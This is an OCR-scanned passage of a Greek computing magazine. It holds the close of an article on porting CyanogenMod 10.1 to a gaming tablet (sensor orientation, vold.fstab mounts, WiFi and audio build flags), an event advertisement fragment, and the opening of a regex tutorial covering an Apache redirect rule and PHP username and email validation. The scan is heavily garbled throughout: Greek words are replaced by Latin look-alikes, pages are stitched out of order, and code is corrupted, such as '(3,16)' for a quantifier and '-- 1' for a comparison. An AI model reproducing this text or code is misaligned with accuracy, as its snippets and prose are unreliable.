τους διαφορετικούς τρόπους τοποθέτησης του αισθητήρα. Ωραία, σκεφτήκαμε, 
αλλά πὼς θα επιλέξουμε κάποιον απ’ αυτούς; Συνεχίζοντας τη µελέτη του κὠδικα, 


συναντήσαμε την παρακάτω γραμμὴ: 


property get("ro.sf.gsensorposition", gsposproperty, "0"; 


Ano εδὠ συμπεράναµε OT! η τοποθέτηση του αισθητήρα περιγράφεται ano τη 
μεταβλητή ro.sf.gsensorposition, η τιµή της οποίας λαμβάνεται ano κἀποιο εξωτερικὀ 
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Y μον“ hie oe gei - + X 
File Edit View Terminal Tabs Help 


To logcat αποτελεί To πιο χρήσιμο ευαγγέλιο των developers! Χάρη σε αυτὀ εἰμαστε σε θἐση va 
εντοπίσουµε *óAa* τα προβλήματα που εμφανίζονται κατά τη λειτουργία της συσκευής! 


αρχείο. E, λοιπὀν, ο συνήθης ὑποπτος για την τοποθέτηση τέτοιων ρυθμίσεων εἶναι TO 
αρχείο cm10.1/device/build.prop. Έτσι, avoi&ape το εν λόγω αρχείο και προσθέσαµε 
κάπου τον ακόλουθο ορισμό: 


ro.sf.gsensorposition-6 


Αναρωτιέἑστε πὼς καταλήξαμε στο cupnépaopa Ori η σωστή τοποθέτηση εἶναι αυτή 
που περιγράφεται ano την ἐκτη επιλογή; H αλήθεια εἶναι OT! βασιστήκαµε λίγο 
στη διαίσθηση και κυρίως στη γνωστἠ μέθοδο trial and error ;) Μετά ano μερικὲς 
δοκιμές, καθεµἰα απὀ τις οποίες περιελάμβανε µια μεταγλώττιση κι εγκατάσταση του 
CyanogenMod, διαπιστώσαμε ὁτι η οθόνη ἐδειχνε πάντοτε σωστά! 


Αποθηκευτικός χώρος 


To Elf II χρησιμοποιεί διαφορετικἀ μέσα αποθήκευσης ano τη δικἠ µας συσκευἠ. Έτσι, 
έχοντας χρησιμοποιήσει τον κὠδικα του Elf II, το σύστημα αδυνατούσε να εντοπίσει 
την κάρτα SD. Αυτό το πρὀβλημα ἦταν σχετικά απλὀ. Πα να ónÀo coupe στο σύστημα 
ποιες συσκευὲς αποθήκευσης εἰναι διαθέσιμες, ὁπως και το πὼς χρησιμοποιούνται, 
αρκεἰ va τροποποιήσουμε κατάλληλα το αρχείο vold.fstab. Εμεὶς βρήκαμε το 
ομώνυμο αρχείο στον nnyaio κὠδικα του εργοστασιακού Android και αντιγράψαμε 
τις σχετικὲς εγγραφἑς. Χρειάστηκε όμως να κάνουμε και μία αλλαγή. Από την 
ἐκδοση Android 4.2 και μετὰ, οι εξωτερικὲς μονάδες αποθήκευσης προσαρτώνται 
στον κατάλογο /storage και ὀχι στον /mnt, ὅπως συνέβαινε σε παλιότερες εκδόσεις. 
Ἐτσι, αφού αντιγρἀψαµε τη δήλωση των συσκευών ano το εργοστασιακὀ vold.fstab 
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Y BoardConfig.mk (~/Desktop) - gedit — TOW 
File Edit View Search Tools Documents Help 


ασ ο ὁ. Γι ο 


i BoardConfig.mk x | 


44 # Sensors 

45 ΠΒΟΑΒΌΟ USES AML SENSOR HAL :- true 

46 BOARD USES SENSOR BMA250 :- true 

47 BOARD USES LIGHT SENSOR :- false 

48 BOARD HAVE COMPASS :- false 

49 

50 # Wifi 

51 WIFI_DRIVER :- rtl8188eu 

52 BOARD_WIFI_VENDOR := realtek 

53 BOARD_WLAN_DEVICE :- rtl8189es 

54 WIFI DRIVER MODULE PATH := /system/lib/8188eu.ko 
55 WIFI DRIVER MODULE NAME :- 8188eu 

56 

57 WIFI DRIVER FW PATH AP :=none 

58 WIFI DRIVER FW PATH P2P :-none 

59 WIFI DRIVER FW PATH STA :-none 

60 WIFI DRIVER MODULE ARG := 
61 

62 WPA SUPPLICANT VERSION :- VER 0 8 X 

63 BOARD WPA SUPPLICANT DRIVER :- NL80211 

64 CONFIG DRIVER ΜΕΧΤ := 

65 BOARD WPA SUPPLICANT PRIVATE LIB :- lib driver cmd rtl 


66 BOARD. HOSTAPD DRIVER :- NL80211 

67 BOARD HOSTAPD PRIVATE LIB := lib driver cmd rtl 
68 

69 #CPU 


70 TARGET CPU ABI :- armeabi-v7a 
71 TARGET CPU ABI2 :- armeabi 
72 TARGET CPU SMP :- true 


Makefile ν Tab Width: 8 v Ln 1, Col 1 INS 


4 


Πα τη λειτουργία του κυκλώματος WiFi aro CyanogenMod avriypáyaye όλα ra σχετικά αρχεία 
ano τον πηγαίο κώδικα, που εἰχαμε πάρει απὀ τον κατασκευαστή της συσκευής µας. Φυσικά, 
εκτός απὀ τα αρχεία, αντιγράψαµε και τις ρυθμίσεις. 


σε εκεϊνο στη θέση cm10.1/device/, προχωρήσαμε και σε uia µικρή τροποποίηση. 
Συγκεκριµένα, αντικαταστἠσαµε τον κατάλογο mnt µε Tov storage. Δείτε την τελικἡ 
µορφή rou vold.fstab: 


dev mount flash /storage/sdcard@ auto /devices/platform/mtd/mtd8/media 
nonremovable 

dev mount sdcard /storage/sdcard1 auto /devices/platform/AMLOGIC CARD/ 
card_host/memorycard@ 

dev mount usb /storage/usbdisk@ auto /devices/lm 


Πρόβλημα µε rov ἦχο 


Αφήσαμε το καλύτερο για το τἐλος! Στην περίπτωση του ἦχου συναντήσαμε Eva 
an’ τα nio απλά προβλήματα, ro onoio ωστόσο µας καθυστέρησε περισσότερο ano 
οτιδήποτε ἄλλο. Οι οδηγοί yia τον ἠχο αρνούνταν πεισµατικἁ να συνεργαστούν. O 
ἦχος δεν λειτουργούσε καθόλου και µε τη βοήθεια rou logcat βλέπαμε συνεχώς το 
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O αισθητήρας BMA250 πάνω στην πλακέτα της συσκευἠς µας! O ἰδιος αισθητήρας, 
στη συσκευἠ and την οποία δανειστήκαµε τους drivers (Elf II), βρίσκεται σε άλλη 
θέση. Αυτή η διαφορά στον προσανατολισμό του ως προς την οθόνη, εἶχε σαν 
συνέπεια την παράξενη συμπεριφορά της αυτόματης περιστροφἠς της εικόνας. 


ακόλουθο σφάλμα: 


E/AudioFlinger(2509): int android::load audio interface(char const*, 
audio hw device t**) wrong audio hw device version 0100 


Ano το παραπάνω μήνυμα, μαθαίνουμε ὁτι το πρόβλημα εμφανίζεται σε Eva αρχείο 
µε το ὀνομα AudioFlinger. Έτσι, θεωρώντας OT! πρὀκειται για αρχείο µε κὠδικα, 
αναζητήσαμε το αρχείο AudioFlinger.cpp. Τελικά το βρήκαμε στον κατάλογο cm10.1/ 
framework και, αφού ro ανοἰξαμε, αρχίσαμε την αναζήτηση του αποσπάσματος 
που περιλαμβάνει το μήνυμα λάθους (int android::load. audio. interface). Av και 
μέχρι εκείνη τη στιγμή ἡμασταν ἑτοιμοι va παραιτηθούμε, η διἀθεσή µας άλλαξε 
αμέσως όταν βρήκαμε το ζητούμενο απὀσπασμα. Βλέπετε, ο κὠδικας που έμοιαζε 
να παρουσιάζει το σφάλμα, βρισκόταν κάτω απὀ µια συνθήκη rou preprocessor. Η 
συγκεκριμένη συνθήκη ἐλεγχε αν EXE! ενεργοποιηθεἰ η επιλογἠ ΜΕΟ AUDIO. BLOB 
ἡ ὀχι. Έτσι, auTO που σκεφτήκαµε αμέσως ἦταν να αλλάξουμε τη σχετικἠ επιλογή, 
MOTE να αποτρἐψουµε την εκτέλεση του προβληματικού κὠδικα. Πα τον σκοπὀ αυτό 
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H καπιώδης δημιουργία του CyanogenMod 
LLL 


E vold.fstab (~/Desktop) - gedit — 
File Edit View Search Tools Documents Help 


δὶ Ὁ ὦ. ὁ. Γι ορ 
| E] vold.fstab x | 


1 48 Vold 2.0 fstab 

= 

3 IBHHHHHHEIIHIEIHI I I IU EIU UU UN VG 

4 ## Regular device mount 

5 ## 

6 ## Format: dev mount «label» «mount point» «part» <sysfs_path1...> 

7 ## label - Label for the volume 

8 ## mount point - Where the volume will be mounted 

9 ## part - Partition # (1 based), or 'auto' for first usable partition. 
10 48 «sysfs path» - List of sysfs paths to source devices 


11 ## flags - (optional) Comma separated list of flags, must not contain '/' character 
12 ΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗΗ 
13 


14 # Mounts the first usable partition of the specified device 

15 #use this line to support VIRTUAL CDROM.And you can define the directory where you want to mount 
16 loop mount loop /mnt/VIRTUAL CDROM 

17 μεν mount flash /storage/sdcardO auto /devices/platform/mtd/mtd8/media nonremovable 

18 dev mount sdcard /storage/sdcardi auto /devices/platform/AMLOGIC CARD/card host/memorycardo 

19 dev mount usb /storage/usbdiskO auto /devices/lm 


Matlab v Tab Width: 8 v Ln 17, Col 1 INS 


4 


To vold.fstab εἶναι το αρχείο που χρησιμοποιεί η 
υπηρεσία vold. H εν λόγω υπηρεσία εἶναι υπεύθυνη 
για το mount kai το unmount των διαθέσιμων 


κατατμήσεων. 
Με το ΜΚΟ AUDIO BLOB δηλώνουμε στο σύστημα 
ότι ο driver του ήχου προορίζεται για παλιότερη 
έκδοση Android. Έτσι, ορισμένοι ἐλεγχοι και µερικές 
VEEG δυνατότητες απενεργοποιούνται αυτόματα. 
x *BoardConfig.mk (-/Desktop) - gedit — S 


File Edit View Search Tools Documents Help 
| es : NA 3 
ιο Ἡ «6 we Ὁ ο 
E *BoardConfig.mk x | 
102 TARGET BOOTANIMATION PRELOAD := true 
103 
104 TARGET USERIMAGES USE EXT4 := true 
105 BOARD BOOTIMAGE PARTITION SIZE :- 8225280 


106 BOARD SYSTEMIMAGE PARTITION SIZE :- 939524096 
107 BOARD USERDATAIMAGE PARTITION SIZE :- 939524096 


108 

109 TARGET. BOOTANIMATION NAME :- horizontal-1024x600 

110 

111 #Audio 

112 TAR PROVID BAUDIO :- e 

m Ls 
114 

115 #CWM 


116 RECOVERY NAME :- CWM-based Recovery by giannoug 

117 BOARD CUSTOM RECOVERY, KEYMAPPING = := ../../device/zenithink/c97/recovery keys.c 

118 TARGET USE CUSTOM LUN FILE PATH :- "/sys/class/android usb/android0/f mass storage/lunXd/file" 
119 BOARD UMS LUNFILE :- "/sys/class/android usb/android0/f mass storage/lun0/file" 

120 BOARD UMS 2ND LUNFILE := "/sys/class/android usb/android0/f mass storage/luni1/file" 

121 


122 #TWRP | 
123 sfDEVICE RESOLUTION :- 1024x600 
124 #TARGET RECOVERY PIXEL FORMAT := "RGBA 565" 


Makefile v Tab Width: 8 v Ln 113, Col 41 INS 


4 
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V HAGKER 


NMN 


ανοΐξαμε το cm10.1/device/BoardConfig.mk και προσθέσαµε την ακὀλουθη γραμμὴ: 
COMMON GLOBAL CFLAGS += -DMRO AUDIO BLOB 


Αμέσως μετά NPAYHATONOINOAHE µια ακόµα μεταγλώττιση του CyanogenMod, καθώς 
και µια φρέσκια εγκατἀστασἠ στη συσκευἠ. H δοκιµἠ που ακολούθησε µας δικαίωσε. 


Μη σταµατάτε πουθενά! 


Νομίζουμε OT! κάπως ETO! θα μπορούσε va συμπυκνωθεὶ το ηθικὀ δίδαγμα ano τις 
δικὲς µας περιπέτειες. Στην πορεία συναντήσαμε αρκετὲς δυσκολὶἰες και ἦταν πολλὲς 
οι φορές nou KOVTEWAHE va παραιτηθούμε. Ωστόσο, µε ὀρεξη για µελέτη και ψάξιμο, 
καταφέραμε να ξεπεράσουμε όλα, pa ὁλα τα εμπόδια! Κάθε συσκευἠ θα EXE! τις 
δικὲς της παραξενιὲς και σπάνια θα βρεἰτε κάποια ¿Toin λύση. H ανταμοιβή ano την 
εγκατάσταση rou CyanogenMod, όμως, εἶναι ιδιαίτερα μεγάλη. Με τη βοήθειά του 
μπορούμε αργότερα να προσθαφαιρέσουµε βασικἐς λειτουργίες στο σύστημα, ὁπως 
η ανάγνωση και η εγγραφή σε κατατμήσεις NTFS και η υποστήριξη του IPv6. Με το 
CyanogenMod δεν υπάρχει κανένα ὁριο στο τι μπορούμε να κάνουμε! Πα την wpa, 
πάντως, εμεὶς λέμε να απολαύσουμε λίγο Mortal Kombat, µε τη βοήθεια του MAM- 
E4droid. Μην ξεχνάτε oT! η δικἠ µας συσκευή προορἰζεται για παιχνίδια. Μην σας 
μπερδεύει το ότι αποφασίσαμε να αλλάξουμε τα φώτα στο Android ;) 


12:02 3 


Camera 


SUN, SEPTEMBER 8 


Athens a 30°C 
Ud 19*120* 


Εἰμαστε navé£roipoi για νέες περιπέτειες! H συσκευή µας τρέχει πλέον ro Cyano- 
genMod 10.1. Λέτε να αρχίσουμε ra πειράµατα µε το CyanogenMod 10.2; 
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ΤΕΙ. ΑΝΑΤΟΛΙΚΗΣ ΜΑΚΕΔΟΝΙΑΣ 
ΚΑΙΘΡΑΚΗΣ 


Ü pódos rns ΓΡομποτιμήξ 
στηω αωάπτυζη 


ANANTYEH AL 


Mayáile Πμϕιθάατρο ! > | I ο». κ, 
ΤΕΙ Πλ), 7 Kasdila D 


Επιστημονική ημερίδα: Σάββατο 19 Ὀκτωβρίου 
ΠοΏιτική πμερίδα: Κυριακή 20 Οκτωβρίου 


Εκθεσιακός χώρος: Ανοιχτό από Τρίτη έως και Κυριακή. 


Skill: Intermediate 
Tags: regular expressions, backreference, anchors, character escaping, 
lookahead 


by Spir@lEvolution 


REGULAR 


EXPRESSIONS 


a[a-ZA-Z0-9_\.-]+ ©[a-zA-Z0-9\.-]+\.[a-zA-Z\.]{2,6]$ 
aQ=.*[a-z].*[a-zDC=.*[A-Z].*[A-ZDC=."\d."\d."\@ C=.* wD 


Κανονικές εκφράσεις σε δράση! 


H μικρἠ σειρἁ άρθρων yia τις kavovik£g εκφράσεις ολοκληρώθηκε, 
αλλά θα ἦταν μεγάλο λάθος να θεωρήσουμε oT! εξαντλήσαμε το θέμα. 
Στο napóv άρθρο θα μελετήσουμε µερικἀ ρεαλιστικἀ παραδείγματα, 


µε ιδιαίτερη διδακτικἠ αξία αλλά και χρησιμότητα. Στόχος µας εἶναι 
να αποκτήσουμε ολοκληρωμένη και OTEPEN γνώση eni του θέματος. O 
καλύτερος τρόπος για να τον πετύχουμε εἶναι µε απὀπειρες συνδυασμού 
όλων όσων μάθαμε. 


Κανανικές εκφράσεις σε δράση ! 
Αα 


Μετὰ τη γνωριμία µε το συντακτικό των κανονικών εκφράσεων έφτασε η opa να 
μελετήσουμε ορισμένα ζωντανά παραδείγματα. Όπως ἐχουμε NON αναφέρει, oi κα- 
νονικὲς εκφράσεις υποστηρίζονται and πολλά εργαλεία: τόσο της γραμμὴς εντολών, 
όσο και του περιβάλλοντος γραφικών. Εξάλλου, οι κανονικὲς εκφράσεις χρησιµο- 
ποιούνται και σε πολλὲς γλὠσσες προγραμματισμού! Ως εκ τούτου, υπάρχουν apke- 
τὲς μηχανές κανονικών εκφράσεων, καθεμία απὀ τις οποἰες υποστηρίζει λιγότερα ἡ 
περισσότερα εκφραστικἀ σχήματα και, τέλος πάντων, ἐχεις τις δικὲς της ιδιαιτερὀ- 
τητες. O καθένας, ανάλογα µε τα εργαλεία και τις γλὠσσες προγραμματισμού που 
χρησιμοποιεί, οφείλει να εξοικειωθεἰ µε την αντἰστοιχη διάλεκτο. Εμείς, πάντως, θα 
στηριχτούµε στη μηχανὴ της Perl, που αποτελεί την ισχυρότερη και πιο διαδεδομένη 
υλοποίηση κανονικῶν εκφράσεων. Στη συνέχεια θα μελετήσουμε μερικὰ παραδεϊγ- 
ματα, εστιάζοντας στη λογική µε την οποία συντάσσεται µια κανονικἠ ἐκφραση. 
Επιπρόσθετα, θα υπογραμμίσουμε ορισμένα σηµεία προσοχής nou εἰχαμε επισημάνει 
και σε προηγούμενα ἄρθρα, καθώς κι dAAa που δεν αναφέραμε ποτὲ αλλά παρουσι- 
àGouv ξεχωριστὀὸ ενδιαφέρον. Θέλουμε να πιστεύουμε OT! όσα που ακολουθούν θα 
επιδράσουν στη διἀθεσή σας µε rov ἰδιο ακριβὠς rpóno nou επἐδρασαν και στη δικἠ 
μας: Θα σας πωρώσουν ;) 


Apache redirection 


Υπάρχει κανένας ανἁμεσὰ µας nou δεν EXE! χρησιμοποιήσει τον Apache; Κατὰ πάσα 
πιθανότητα ὀχι. Αλλά κι αν ακόμα υπάρχει, το πιο πιθανό εἶναι ότι αργά ἡ γρήγο- 
ρα θα παἰξει κι αυτὸς µε τον δηµοφιλέστατο web server. Ας περάσουμε ὁμως στο 
θέμα µας. Ας υποθέσουμε ὁτι EXOUHE στἠσει Eva site, γεγονὸς που συνεπάγεται ὁτι 
έχουµε δημιουργήσει στο δίσκο TOU server και uia αντίστοιχη δομή καταλόγων, µε 
το σχετικὀ περιεχόμενο. Ας υποθέσουμε επἰσης OT! κἄποια στιγμὴ αποφασίζουμε 
να τροποποιήσουµε τη δομή του site. Σε πολλὲς περιπτώσεις, αυτό σημαίνει ότι θα 
πρέπει να αλλάξουμε και τη διάρθρωση των καταλόγων. Εδὠ ὁμως χρειάζεται λίγη 
προσοχή: Οι αλλαγές στη δομή των καταλόγων απαιτούν τις κατάλληλες αλλαγὲς σε 
όλα Ta links που περιέχει To site, όπως επἰσης και στα bookmarks που ενδέχεται να 
ἐχουν κρατήσει οι επισκέπτες μας! Όπως αντιλαμβάνεστε, ως διαχειριστὲς TOU site 
θα μπορούσαμε (ἐστω µε τεράστιο KONO) να "διορθώσουμε" ὁλα ra links nou περι- 
λαμβάνουν οι σελίδες Tou site. Ωστόσο, yia τα bookmarks των επισκεπτών δεν θα 
μπορούσαμε να κάνουμε τίποτα. Κάπως ἐτσι προκύπτει Eva πρὀβλημα: Αλλάζοντας 
τη δοµἠ των καταλόγων στον server ενδέχεται ορισμένοι απὀ τους επισκέπτες µας 
να µη βρίσκουν αυτό που θέλουν — ακόµα κι αν ¿xouv κρατήσει bookmark’. 


Κάθε φορά που o Apache δέχεται Eva αἰτημα, συμβουλεύεται το αρχείο htaccess. 
Μεταξὺ ἄλλων, auró το αρχείο περιλαμβάνει κανόνες που τροποποιούν τα URL των 
εισερχόμενων αιτημάτων. Όσοι ἐχετε παἰξει µε TO Wordpress ἡ και µε κἀποιο ἆλλο 
CMS, εἶναι βἐβαιο ότι ἐχετε ξανακούσει για το εν λόγω αρχείο, κατά τη ρύθμιση των 
λεγόμενων pretty URLs. H λύση στο πρόβλημα nou περιγράψαμε παραπάνω περνάει 
ano την προσθήκη ενὸς κανόνα στο htaccess. Όπως υποψιάζεστε, σε αυτούς τους 
κανόνες μπορούμε να χρησιμοποιήσουμε κανονικὲς εκφράσεις: 

Ας υποθέσουμε ὁτι το site µας περιέχει Eva ιστολόγιο στη θέση mydomain.gr/my_ 
blog, καθώς ki ότι, σύμφωνα µε τη νέα δομή, το ιστολόγιο και OAO το περιεχόμενο 
του θα πρέπει να μεταφερθούν στη θέση www.mydomain.gr/tech blog. Πα να εξασφα- 
λίσουµε oT! όλα τα παλιά links (αλλά και ra bookmarks των επισκεπτών) θα λειτουρ- 
youv σωστά, αρκεἰ να προσθέσουμε στο htaccess την ακόλουθη ενότητα: 


1. Ίσως να σκέφτεστε ὁτι αυτό το σενάριο εἶναι πολύ εξειδικευμένο, αλλά αν στήσετε NOTE ro δικὀ σας site θα µας θυμηθείτε ;) 
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ÁN 
RewriteEngine on 
RewriteBase / 


RewriteRule ^my_blog/(.*)$ http://domain.gr/tech_blog/$1 [L,R=Permanent] 


Ὀλο το oupi βρίσκεται στον κανόνα τροποποίησης των URLs (RewriteRule). Εκεὶ 
χρησιμοποιούμε µια κανονικἠ ἐκφραση, που περιγράφει ὁσα strings ξεκινούν µε TO 
my. blog και συνεχίζουν µε οποιουσδήποτε ἄλλους χαρακτήρες. Ουσιαστικά, περι- 
γράφουμε οποιοδήποτε URL δείχνει κἄπου μέσα στην παλιὰ θέση του blog. Mapa- 
TNPEIOTE OT! στην κανονικὴ ἐκφραση χρησιμοποιούμε τους χαρακτήρες ".*", που 
περιγράφουν οποιοδήποτε string. Περοσέξτε επἰσης ὁτι τους έχουμε περικλεἰσει σε 
παρενθέσεις. Με auróv τον τρόπο δημιουργούμε Eva backreference, που περιέχει 
το EKGOTOTE στοιχείο στο οποίο παραπέμπει το URL, μέσα στον κατάλογο my. blog. 
Στη συνέχεια του κανόνα δηλώνουμε τη VEG μορφή yia το URL. Εκεἰ, υποδεικνύουμε 
τη νέα θέση των αρχείων του blog κι αξιοποιούμε το backreference! Σημειώστε ὁτι 
ο αριθµός του backreference (στην περἰπτωσἠ µας ο ἆσσος) θα έπρεπε va τοποθε- 
τηθεί μετὰ ano Eva backslash (X). Ωστόσο, το συντακτικὀ rou htaccess απαιτεἰ τη 
χρήση του δολαρίου ($). Δείτε μερικὲς μετατροπές που πραγµατοποιεἰ αυτόματα o 
παραπάνω κανόνας και θα κατανοήσετε αμέσως τι πετύχαμε: 


Ευ b1og/index.php > mydomain.gr/tech_blog/index. php 
mydomain.gr/my blog/images/pici.jpg > mydomain.gr/tech_blog/images/pic1. jpg 
mydomain.gr/my_blog/hacks/index.php > mydomain.gr/tech_blog/hacks/index. php 


Mia μικρἠ βελτιστοποΐηση... 


Κάθε φορά που χρησιμοποιούμε τις παρενθέσεις σε pia kavovikr| ἐκφραση, η εκὰ- 
στοτε μηχανή δημιουργεί αυτόματα Eva αντἰστοιχο backreference. Αυτή η διαδικα- 
oia όμως εἰναι σχετικἁ χρονοβόρα! Έτσι, όταν η κανονικἠ ἐκφραση χρησιμοποιείται 
συχνὰ ἡ ὁταν περιλαμβάνει πολλά ζεύγη παρενθέσεων, η μηχανή επιβαρύνεται ap- 
κετά. H λύση σε αυτό το πρόβλημα εἶναι va απενεργοποιἠήσουµε τα backreferences 
εκεἰ ὀπου δεν τα χρειαζόμαστε. Πα να χρησιμοποιήσουμε Eva ζεύγος παρενθέσεων 
και να εξασφαλίσουµε ὁτι η μηχανή των κανονικῶν εκφράσεων δεν θα δημιουργήσει 
ἑνα αντίστοιχο backreference, αρκεἰ να τοποθετήσουµε τους χαρακτήρες "?:", αμὲ- 
σως μετά την αριστερἠ παρένθεση. 


Ἐλεγχος εισόδου 


To ἔχουμε ξαναπεί: Οι κανονικἐς εκφράσεις υποστηρίζονται and πολλές γλὠσσες 
προγραμματισμού. Mia απὀ αυτὲς εἶναι και η PHP, στην οποία Χρησιμοποιούνται συ- 
νήθως για τον EAEYXO των δεδοµένων που εισάγει ο χρήστης, yia µια αναζήτηση 
στα περιεχόμενα κάποιου αρχείου κ.λπ. Στη συνέχεια θα εξετάσουμε τις κανονικὲς 
εκφράσεις µε τις οποίες μπορούμε να ελέγξουμε av ο χρήστης ἐδωσε Eva αποδε- 
KTO username, email και password. Βέβαια, οι προδιαγραφές για Eva "αποδεκτὀ" 
username και password δεν εἶναι πάντοτε ἰδιες. Ωστόσο, κατανοώντας τη λογικἠ µε 
την οποία συντάξαμε τις OXETIKEG κανονικὲς εκφράσεις, θα µπορείτε να τις npooap- 
μόσετε εὐκολα. Εξάλλου, αν και τα παραδεἰγματά µας βασίζονται στην PHP, οι ἴδιες 
κανονικὲς εκφράσεις θα λειτουργούν ἀψογα σε οποιαδήποτε γλὠσσα υποστηρίζει τη 
μηχανὴ κανονικῶν εκφράσεων της Perl. 
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Κανανικές εκφράσεις σε δράση ! 
Αα 


9 Όνομα χρήστη. Ας ξεκινήσουμε HE Tov ἐλεγχο yia ἑνα αποδεκτό username. Ένα 
ὀνομα χρήστη unopsi να περιλαμβάνει οποιοδήποτε πεζὀ γράμμα, οποιοδήποτε 
αριθμητικὀ ψηφίο, το σύμβολο της αφαἱρεσης (-) ἡ και το λεγόμενο underscore 
(_). Οι υπόλοιποι χαρακτήρες απαγορεύονται! Επιπρόσθετα, δεχόμαστε Ori Eva 
ὀνομα χρήστη μπορεί va ἐχει ελάχιστο μήκος τους 3 χαρακτήρες και μέγιστο 
τους 16. Έχοντας αυτούς τους περιορισμούς κατὰ νου, δείτε TO ακὀλουθο npo- 
γραμματάκι: 


$input = "jim49"; 

$regex = "/^[a-z0-9 -](3,16)$/"; 

if (preg match($regex, $input) -- 1) 
echo "acceptable!"; 


else 


echo "un-a-cce-pta-ble! ;-)"; 


Στο παράδειγμά µας, ro string nou υποτίθεται ὁτι εισάγει ο χρήστης βρίσκεται 
στη μεταβλητή $input. AUTO έγινε για λόγους απλότητας και, τέλος πάντων, 
MOTE να µην ξεφύγουμε ano το θέμα µας! Στην πραγματικότητα, TO string nou 
δίνει ο χρήστης θα ro παἰρναμε ano κάποια φόρμα (µε τη µἐθοδο GET ἡ POST) 
ἡ µε κἀποιον ἄλλον, διαδραστικὀ μηχανισμό. H Kavovikn ἐκφραση που περιγρά- 
φει Eva αποδεκτὀ ὀνομα χρήστη — σύμφωνα µε τους κανόνες nou αναφέραμε 
παραπάνω βρίσκεται στη μεταβλητή regex. Να θυμίσουμε εδὠ Ori κάθε φορά 
που δίνουμε µια κανονικἠ έκφραση στην PHP, οφείλουμε va την ξεκινήσουμε 
και να την τερµατίσουµε µε τον χαρακτήρα slash (/). Αυτὸς ο χαρακτήρας, λοι- 
nov, τοποθετείται κατ’ anairnor του συντακτικού της PHP και δεν πρέπει να TOV 
µπλέκουμµε µε την εκάστοτε κανονική έκφραση. 


Παρατηρείστε ὁτι η Kavovikn έκφραση ξεκινά και τελειώνει µε τα anchors nou 
opiZouv την apyr| kai το τέλος του string, αντἰστοιχα. H παρουσία της εἶναι κρἰσι- 
μη, διότι θέλουμε να εξασφαλίσουµε OT! ὁσα περιγράφει η κανονικἡ ἐκφραση θα 
αποτελούν το *oUvoAo* του δοθέντος string κι OXI κάποιο τµήµα του! Σκεφτείτε 
ότι θέλουμε να ελἐγξουµε αν ο χρήστης έδωσε va αποδεκτὀὸ username κι όχι TO 
αν έδωσε Eva string, το οποίο περιλαμβάνει Eva αποδεκτὀ username. Μετά ano 
TO anchor για την αρχἠ Tou string, ακολουθεἰ µια κλάση χαρακτήρων. Σε αυτήν 
περιλαμβάνονται όλοι οι αποδεκτοἰ χαρακτήρες, nou συμφωνήσαμε OT! ENITPENO- 
νται στα usernames. Εδώ αξίζει να σταθούμε σε µια λεπτομέρεια: O χαρακτήρας 
του συμβόλου της αφαίρεσης (-) επιδέχεται ειδικἠς ερμηνείας μέσα στις κλάσεις 
(χρησιμοποιείται για τον ορισμό περιοχών χαρακτήρων2). Πα va εξασφαλίσουµε 
ότιο εν λὀγω χαρακτήρας θα συμπεριληφθεί στην κλάση, τον τοποθετήσαμε στο 
τέλος της”. Αμέσως μετὰ την κλάση ακολουθεί Eva ζεύγος ano ἀγκιστρα. Όπως 
έχουμε πει, µε τα άγκιστρα μπορούμε να δηλώσουμε το ελάχιστο και το μέγιστο 
πλήθος εμφανίσεων του χαρακτήρα που περιγράφεται ακριβώς πριν. Τελικά, η 
κανονικἠ ἐκφραση του παραδείγματος περιγράφει Eva string το οποίο αποτελεἰ- 
ται εξ ολοκλήρου ano 3 ἑως 16 χαρακτήρες, καθένας απὀ τους οποίους πρέπει 
να ανήκει στην κλάση που ορἰσαμε. Απλό δεν ἦταν; Σας προτείνουμε να πάτε µια 


2. Για παράδειγµα, για τους χαρακτήρες aNd ro a ως το Ζ, που ορίζεται ως εξἠς: a-z 
3. Ουσιαστικά, µε auróv τον rpóno εξασφαλίσαµε OT! θα ερμηνευτεί κυριολεκτικά (literally) 
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βόλτα στη διεύθυνση http://sandbox.onlinephpfunctions.com και πειραματιστεἰτε 
HE το προγραμματάκι µας, δίνοντας διάφορες τιμὲς στη μεταβλητή $input. 


Διεύθυνση email. Αυτό το πρὀβλημα το έχουμε εξετάσει και σε προηγούμενο 
ἀρθρο. Αυτἠ τη φορά ωστόσο θα δούμε µια πιο εξελιγμένη κανονική ἐκφραση, 
που περιγράφει εὐστοχα οποιαδήποτε αποδεκτἠ διεύθυνση email. Παρεμπιπτὀ- 
ντως, οι κανόνες nou δεχτήκαμε για µια πραγματικἠ διεύθυνση email Exouv ως 
EENG: Το σχετικὀ string ξεκινἁ µε Eva ὀνομα χρήστη, ro onoio περιλαμβάνει τους 
χαρακτήρες που περιγράψαμε στο προηγούμενο παράδειγµα, καθὼς και εκείνον 
της τελείας. Επίσης, το ὀνομα χρήστη µπορεί va EXE! οποιοδήποτε μήκος. Στη 
συνέχεια εμφανίζεται το περίφημο παπάκι (8). Ακολουθεἰ το domain name, ΤΟ 
οποίο µπορεί να περιλαμβάνει μόνο αριθµητικἁ ψηφία, γράμματα, τελείες και 
τον χαρακτήρα της αφαίρεσης (την παύλα). Στο τέλος εμφανίζεται µια τελεία κι 
αμέσως μετὰ το λεγόμενο TLD (Top Level Domain), το οποίο ενδέχεται va περι- 
λαμβάνει γράμματα, ἐχει μήκος 2 ἑως 6 χαρακτἠρες κι ενδἐχεται να περιλαμβά- 
vel τον χαρακτήρα της τελείας. Δείτε την κανονικἠ ἐκφραση που περιγράφει τα 
παραπάνω: 


^[a-zA-Z0-9 \.-]+@[a-zA-Z0-9\.-]+\.[a-zA-Z\.]{2,6}$ 


Όπως και στο προηγούμενο παράδειγµα, η Kavovikn ἐκφραση ξεκινά και τελειώ- 
νει µε τα σχετικἁ anchors (^ και $). Βλέπετε, θέλουμε και πάλι να εξασφαλἰσου- 
µε ότι η κανονικἡ ἐκφραση θα περιγράφει το σύνολο του δοθέντος string κι ὀχι 
μόνο Eva τµήµα του. Μετά ro πρὠτο anchor, ακολουθεἰ µια κλάση µε ὁλους τους 
χαρακτήρες που µπορεί να περιλαμβάνει το username σε µια διεύθυνση email. 
Μετὰ την κλάση ακολουθεί ο χαρακτήρας του συμβόλου της πρόσθεσης (+), που 
δηλώνει ότι ο αµέσως προηγούμενος χαρακτήρας (δηλαδἠ κάποιος ano αυτούς 
που περιγράφει η κλάση) εμφανίζεται τουλάχιστον uia φορά. Με ἄλλα λόγια, 
ΤΟ username περιλαμβάνει τουλάχιστον vav χαρακτήρα. Ἐπεται το παπάκι κι 
αμέσως μετὰ δηλώνουμε πάλι µια κλάση µε τους χαρακτήρες που επιτρέπονται 
